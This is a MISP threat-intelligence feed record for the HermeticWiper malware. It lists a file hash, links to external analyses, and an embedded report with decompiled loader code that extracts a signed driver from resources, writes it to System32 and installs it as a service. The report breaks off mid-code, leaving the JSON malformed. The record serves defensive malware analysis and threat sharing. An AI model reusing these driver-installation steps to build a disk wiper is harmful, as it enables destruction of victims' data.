misp-circl-feed/feeds/circl/misp/a097dd7c-8e29-40eb-a70d-1fb0b5cca689.json

{
  "Event": {
    "analysis": "1",
    "date": "2022-02-25",
    "extends_uuid": "b9b6dcfa-0b11-40dc-9bf4-9a36a2c1a046",
    "info": "HermeticWiper",
    "publish_timestamp": "1645809843",
    "published": true,
    "threat_level_id": "1",
    "timestamp": "1645809833",
    "uuid": "a097dd7c-8e29-40eb-a70d-1fb0b5cca689",
    "Orgc": {
      "name": "SCTIF",
      "uuid": "5a313608-0410-4941-aaeb-8607950d210f"
    },
    "Tag": [
      {
        "colour": "#ffffff",
        "local": "0",
        "name": "tlp:white",
        "relationship_type": ""
      }
    ],
    "Attribute": [
      {
        "category": "Payload delivery",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1645809557",
        "to_ids": true,
        "type": "sha256",
        "uuid": "90aef5c5-492d-4c84-adf8-60ff214a17c3",
        "value": "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1645809780",
        "to_ids": true,
        "type": "link",
        "uuid": "4cab8881-9318-4c40-a420-c4dd2bfbddf9",
        "value": "https://twitter.com/Sebdraven/status/1496796936698884097?"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1645809788",
        "to_ids": true,
        "type": "link",
        "uuid": "215a5737-73a1-41e3-a4b8-c122377ad081",
        "value": "https://twitter.com/0xthreatintel/status/1497192937406754818?t=GYbB_9wJzaZXcTLcXTbgww&s=19"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1645809801",
        "to_ids": true,
        "type": "link",
        "uuid": "a78adcbb-87ac-4942-8fa3-e5b85bac51e0",
        "value": "https://analyze.intezer.com/analyses/fc5894d6-bbf0-419d-b670-0de2ac345fc5"
      },
      {
        "category": "External analysis",
        "comment": "",
        "deleted": false,
        "disable_correlation": false,
        "timestamp": "1645809748",
        "to_ids": false,
        "type": "link",
        "uuid": "260ee63c-ea28-4ba1-97bf-258b432fb758",
        "value": "https://www.virustotal.com/gui/file/1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
      }
    ],
    "EventReport": [
      {
        "name": "Analyze",
        "content": "# Analyse HermeticWiper\r\n\r\n## Summary\r\n\r\nThis wiper is composed of two parts:\r\n\r\n* a loader signed that setups the driver and configuration to execute the wiper\r\n* a [driver](https://www.fichier.net/processus/epmntdrv.sys.html) signed. It is a legitim sofware to erase the data\r\n\r\nThe loader executes the wiping using IOCTLs code to send orders to the driver.\r\n\r\n## Using Driver\r\n\r\nDriver is stored in 'RCDATA' ressources, in PE. And unzipped to store in System32 in function 004029d0. (TIP: find \"RCDATA\" in strings)\r\n\r\n```c\r\nhResInfo = FindResourceW(DAT_00407380,lpName,L\"RCDATA\");\r\nif (((hResInfo != (HRSRC)0x0) &&\r\n    (hResData = LoadResource(DAT_00407380,hResInfo), hResData != (HGLOBAL)0x0)) &&\r\n    (local_18 = LockResource(hResData), local_18 != (LPVOID)0x0)) {\r\nlocal_1c = (HKEY)SizeofResource(DAT_00407380,hResInfo);\r\n\r\n```\r\n\r\n## Unzip the driver\r\n\r\nThis ressource is unzipped and the driver is written in system32 folder.\r\n\r\n```c\r\n      hfSource = LZOpenFileW(path_of_driver,&local_414,2);\r\n      if (-1 < hfSource) {\r\n        PathAddExtensionW(local_38c,L\".sys\");\r\n        local_18 = (LPCVOID)LZOpenFileW(path_of_driver,&local_49c,0x1002);\r\n        if ((int)local_18 < 0) {\r\n          LZClose(hfSource);\r\n        }\r\n        else {\r\n          LVar11 = LZCopy(hfSource,(INT)local_18);\r\n          LZClose(hfSource);\r\n          LZClose((INT)local_18);\r\n          if (0 < LVar11) {\r\n            pWVar12 = path_of_driver;\r\n            if (local_20 != 0) {\r\n              pWVar12 = StrStrIW(path_of_driver,L\"System32\");\r\n            }\r\n            local_28 = setup_service(pWVar12,local_6a4);\r\n```\r\n\r\n## Install Driver\r\n\r\nthe service is created and started in function 00403930 with  OpenSCManagerW\r\n\r\n```c\r\n  hSCManager = OpenSCManagerW((LPCWSTR)0x0,L\"ServicesActive\",3);\r\n  if (hSCManager == (SC_HANDLE)0x0) {\r\n    DVar6 = GetLastError();\r\n    SetLastError(DVar6);\r\n    return 0;\r\n  }\r\n  hService = OpenServiceW(hSCManager,service_name,0x16);\r\n  if (hService == (SC_HANDLE)0x0) {\r\n    DVar6 = GetLastError();\r\n    pcVar5 = CloseServiceHandle_exref;\r\n    if (DVar6 != 0x424) goto LAB_00403a52;\r\n    hService = CreateServiceW(hSCManager,service_name,service_name,0xf01ff,1,3,1,l_path_drive,\r\n                              (LPCWSTR)0x0,(LPDWORD)0x0,(LPCWSTR)0x0,(LPCWSTR)0x0,(LPCWSTR)0x0);\r\n    if (hService == (SC_HANDLE)0x0) {\r\n      DVar6 = GetLastError();\r\n      pcVar5 = CloseServiceHandle_exref;\r\n      goto LAB_00403a52;\r\n    }\r\n    local_14 = 1;\r\n  }\r\n  else {\r\n    local_1c = 0;\r\n    local_34 = ZEXT816(0);\r\n    local_24 = 0;\r\n    BVar2 = QueryServiceStatus(hService,(LPSERVICE_STATUS)local_34);\r\n    if (BVar2 == 0) {\r\n      BVar2 = ChangeServiceConfigW\r\n                        (hService,1,3,1,l_path_drive,(LPCWSTR)0x0,(LPDWORD)0x0,(LPCWSTR)0x0,\r\n                         (LPCWSTR)0x0,(LPCWSTR)0x0,(LPCWSTR)0x0);\r\n      if (BVar2 == 0) {\r\n        DVar6 = GetLastError();\r\n        pcVar5 = CloseServiceHandle_exref;\r\n        CloseServiceHandle(hService);\r\n        goto LAB_00403a52;\r\n      }\r\n    }\r\n    else {\r\n      uVar3 = (uint)(local_34._4_4_ == 4);\r\n    }\r\n  }\r\n  uVar4 = 0;\r\n  do {\r\n    if (uVar3 != 0) break;\r\n    uVar3 = StartServiceW(hService,0,(LPCWSTR *)0x0);\r\n    Sleep(1000);\r\n    uVar4 = uVar4 + 1;\r\n  } while (uVar4 < 5);\r\n  DVar6 = 0;\r\n  if (uVar3 == 0) {\r\n    DVar6 = GetLastError();\r\n    pcVar5 = CloseServiceHandle_exref;\r\n    if (DVar6 == 0x420) {\r\n      uVar3 = 1;\r\n      CloseServiceHandle(hService);\r\n      goto LAB_00403a52;\r\n    }\r\n    if (local_14 != 0) {\r\n      DeleteService(hService);\r\n    }\r\n```\r\n\r\n## Crypto Stuff\r\n\r\nThe loader generates an random number to use to wipe in function: 00401590\r\n\r\n```c\r\n    success = CryptAcquireContextW\r\n                        ((HCRYPTPROV *)&PROV_RSA_FULL,(LPCWSTR)0x0,(LPCWSTR)0x0,1,0xf0000040);\r\n    if (success != 0) {\r\n      success =
        "id": "99",
        "event_id": "98313",
        "timestamp": "1645809361",
        "uuid": "11fd8080-ebcc-4347-bc28-c49087bf4ab5",
        "deleted": false
      }
    ]
  }
}